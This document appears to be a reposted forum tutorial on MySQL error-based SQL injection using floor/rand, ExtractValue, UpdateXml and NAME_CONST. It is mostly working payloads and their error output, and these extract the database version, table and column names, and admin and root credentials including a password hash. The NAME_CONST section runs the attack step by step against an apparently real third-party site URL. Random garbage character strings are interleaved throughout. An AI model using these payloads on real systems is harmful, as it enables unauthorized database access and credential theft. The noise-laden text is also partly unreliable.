mysql ,floor,ExtractValue,UpdateXml三种报错模式注入利用方法

admin

1、通过floor报错

可以通过如下一些利用代码

and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);

and (select count(*) from (select 1 union   select null union   select  !1)x group by concat((select table_name from information_schema.tables  limit 1),floor(rand(0)*2)));

举例如下：
+ W0 e3 Y% X4 f/ u9 |) j首先进行正常查询：

mysql> select * from article where id = 1;
! D3 x! ], ]1 `, C1 B" P8 b+—-+——-+———+
& a, a( R# h% O% ^| id | title | content |
8 J9 w0 j% X: l0 Y, R- m4 d+—-+——-+———+
! Y" V2 Y/ A( `- R) G4 f|  1 | test  | do it   |
+—-+——-+———+

假如id输入存在注入的话，可以通过如下语句进行报错。

mysql> select * from article where id = 1 and (select 1 from  (select count(*),concat(version(),floor(rand(0)*2))x from  information_schema.tables group by x)a);
" W& y# T2 \" E6 l' j, v7 pERROR 1062 (23000): Duplicate entry ’5.1.33-community-log1′ for key ’group_key’

可以看到成功爆出了Mysql的版本，如果需要查询其他数据，可以通过修改version()所在位置语句进行查询。
例如我们需要查询管理员用户名和密码：

Method1:

mysql> select * from article where id = 1 and (select 1 from  (select count(*),concat((select pass from admin where id  =1),floor(rand(0)*2))x from information_schema.tables group by x)a);
ERROR 1062 (23000): Duplicate entry ’admin8881′ for key ’group_key’

Method2:

mysql> select * from article where id = 1 and (select count(*)  from (select 1 union   select null union   select !1)x group by  concat((select pass from admin limit 1),floor(rand(0)*2)));
ERROR 1062 (23000): Duplicate entry ’admin8881′ for key ’group_key’

2、ExtractValue
测试语句如下

and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));

实际测试过程

mysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,(select pass from admin limit 1)));–
+ o, n. j& W5 i, f% {/ vERROR 1105 (HY000): XPATH syntax error: ’\admin888′

3、UpdateXml

测试语句

and 1=(updatexml(1,concat(0x3a,(select user())),1))

实际测试过程

mysql> select * from article where id = 1 and 1=(updatexml(0x3a,concat(1,(select user())),1))ERROR 1105 (HY000): XPATH syntax error: ’:root@localhost’

9 t" f0 f8 i6 K# l* E
& S- S: S( b  ~1 H: [' O/ d

再收集：

http://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261 and exists(select*from (select*from(select name_const(@@version,0))a join (select name_const(@@version,0))b)c)

Erroruplicate column name ‘5.0.27-community-nt’Erroruplicate column name ‘5.0.27-community-nt’

http://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261 and exists(select*from (select*from(select name_const((select concat(user,password) from mysql.user limit 0,1),0))a join (select name_const((select concat(user,password) from mysql.user limit 0,1),0))b)c)
' o7 ^2 P& J9 t2 ^# w+ x* g
4 a( |" e6 l0 T# OErroruplicate column name ‘root*B7B1A4F45D9E638FAEB750F0A99935634CFF6C82′Erroruplicate column name ‘root*B7B1A4F45D9E638FAEB750F0A99935634CFF6C82′

MYSQL高版本报错注入技巧-利用NAME_CONST注入
It's been a while since I've made an SQL Injection tutorial, so I'd thought I should make a new tutorial using the method name_const. There's not many papers documenting this method, so it feels kind of good to be the one to make a guide for it.
+ D7 b0 }  }$ I$ X& ^

* e: Q& P+ r3 D9 P5 ~- o! {: ?相关信息

NAME_CONST was added in MySQL 5.0.12, so it won't work on anything less than that.
' U1 y/ B, r: x( _. C
Code:
NAME_CONST(DATA, VALUE)
; e3 J* ~: |. J1 @- O
$ l5 \4 _- [  Z5 iReturns the given value. When used to produce a result set column, NAME_CONST() causes the column to have the given name. The arguments should be constants.
/ m' a5 y. h- d0 a
) y; m/ }1 q8 N4 ]) C+ WSELECT NAME_CONST('TEST', 1)
( z0 K( D9 r. z+ g5 G% H


|---------------|
|     TEST      |
- C* r* d: B0 u2 d0 O1 h|               |
|---------------|
|       1       |
|               |
2 w2 z, h5 ?; F: j3 O+ O1 \, c|---------------|
8 Z4 g% q/ M; Y* X; i
8 w9 s( z7 X/ v; P6 h# m$ i& X
: r+ }1 I0 Y" u9 @# }5 x

0 A+ e9 R( e- m8 G, ^http://dev.mysql.com/doc/refman/5.0/en/m...name-const
) s7 P* d& n4 l, U- }9 J+ Y6 |8 p2 ]" [Intro to MySQL Variables

Once you've got your vulnerable site, lets try getting some MySQL system variables using NAME_CONST.

Code:
http://www.baido.hk/qcwh/content ... ;sid=19&cid=261
! w: T% t& G9 f; _
3 [( V) E# k3 E* m" v
8 w2 J$ `$ T6 |- D% c& V& Z, `
( ], Y1 U6 s/ p) y, h1 B$ F( T

& T4 B0 T: \% i* YCode:
and+1=(select+*+from+(select+NAME_CONST(VAR,1),NAME_CONST(VAR,1))+as+x)--

1 y/ _+ G- s5 d. w7 Z
VAR = Your MySQL variable.

MySQL 5.1.3 Server System Variables
$ U8 j  l8 s6 Y
Let's try it out on my site..

Code:
( d2 F7 c9 I( dhttp://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261+and+1=(select+*+from+(select+NAME_CONST(version(),1),NAME_CONST(version(),1))+as+x)--
9 W" K* |" A0 F4 O
' X$ v1 M$ P- H0 T* d. z; UErroruplicate column name '5.0.27-community-nt'



- u$ G% `, }; Q: l  U" f, o# \

/ c+ U1 w2 R& n1 qNow I've tried a couple of sites, and I was getting invalid calls to NAME_CONST trying to extract data. Nothing was wrong with my syntax, just wouldn't work there. Luckily, they work here so let's get this going again...
- x% M* i  z* L, ?
Data Extraction

Code:
+and+1=(select+*+from+(select+NAME_CONST((select+DATA+limit+0,1),1),NAME_CONST((select+DATA+limit+0,1),1))+as+x)--
9 F% d; O8 c! m( s

We should get a duplicate column 1 error...

6 S$ D0 ]* k' i# QCode:
2 G3 H) K" ?* X6 k) L( fhttp://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+1+limit+0,1),1),NAME_CONST((select+1+limit+0,1),1))+as+x)--

Erroruplicate column name '1

! w1 X/ P3 q0 \% b7 W% j


, ~. v( T$ _6 Y" K7 a. z$ W  O' J
' J5 T1 J( q1 o5 D7 d2 G8 O
- t: C  ]1 ]. {5 j* bNow let's get the tables out this bitch..

0 t5 z3 h, c0 r$ n3 oCode:
0 M( T! B& \; H( a  q& V+and+1=(select+*+from+(select+NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1),NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1))+as+x)--


Let's see if it works here, if it does, we can go on and finish the job.

Code:
http://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1),NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1))+as+x)--
: o+ S0 j* E. X9 t

  X. P3 X6 Z& G. b$ D  LErroruplicate column name 'com_admanage
; r9 U$ I% `5 H; J& S: ^' d6 F


9 ^6 D/ I& ~3 B+ n


Now I'm going to be lazy and use mysql.user as an example, just for the sake of time.

Let's get the columns out of the user table..
  G6 U: e8 r8 l  ^) J1 }- D* [% N
Code:
+and+1=(select+*+from+(select+NAME_CONST((select+column_name+from+information_schema.columns+where+table_name=0xHEX_OF_TABLENAME+limit+0,1),1),NAME_CONST((select+column_name+from+information_schema.columns+where+table_name=0xHEX_OF_TABLENAME+limit+0,1),1))+as+x)--
& \: `( e" w# U( o6 p

# H1 x) U& k- c; ZSo mine looks like this, and I get the duplicate column name 'Host'.

; [- w  w7 v/ Y0 s- kCode:
# V" S2 i0 z9 I& r% yhttp://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+column_name+from+information_schema.columns+where+table_schema=0x6d7973716c+and+table_name=0x75736572+limit+0,1),1),NAME_CONST((select+column_name+from+information_schema.columns+where+table_schema=0x6d7973716c+and+table_name=0x75736572+limit+0,1),1))+as+x)--

1 d& D* g# _7 T; f) zErroruplicate column name 'Host'

( x8 D' F! I0 H  p. @' N3 T2 D' Y! E5 X
7 n/ I6 o- j; q, {6 n
) s7 B9 O! X& o; _; r5 M! m


Woot, time to finish this bitch off.
2 M: Q  w5 m* F9 O" l& _0 [: z
: X% L7 ^6 k, c9 `! tCode:
+and+1=(select+*+from+(select+NAME_CONST((select+concat_ws(0x207e20,COLUMN1,COLUMN2)+from+TABLENAME+limit+0,1),1),NAME_CONST((select+concat_ws(0x207e20,COLUMN1,COLUMN2)+from+TABLENAME+limit+0,1),1))+as+x)--


2 R) a) p4 u9 f* k% i4 Q3 _9 J: ?So mine looks like this...
8 V& K7 L0 c( L6 e9 V( N. Q! o+ c
Code:
( U& P& I$ v+ Nhttp://www.baido.hk /qcwh/content/detail.php?id=330&sid=19&cid=261+and+1=(select+*+from+(select+NAME_CONST((select+concat_ws(0x207e20,User,Password)+from+mysql.user+limit+0,1),1),NAME_CONST((select+concat_ws(0x207e20,User,Password)+from+mysql.user+limit+0,1),1))+as+x)--

6 f" r- A' G5 ]Erroruplicate column name 'root ~ *B7B1A4F45D9E638FAEB750F0A99935634CFF6C82'


! g# r& ~4 e5 i* T5 n

' Q1 H! ?" M; N% A# \
4 A) b3 M+ R4 w, s, r0 O* [7 d) V
And there we have it, thanks for reading.

; a* d& l$ a: G) Z3 B& ~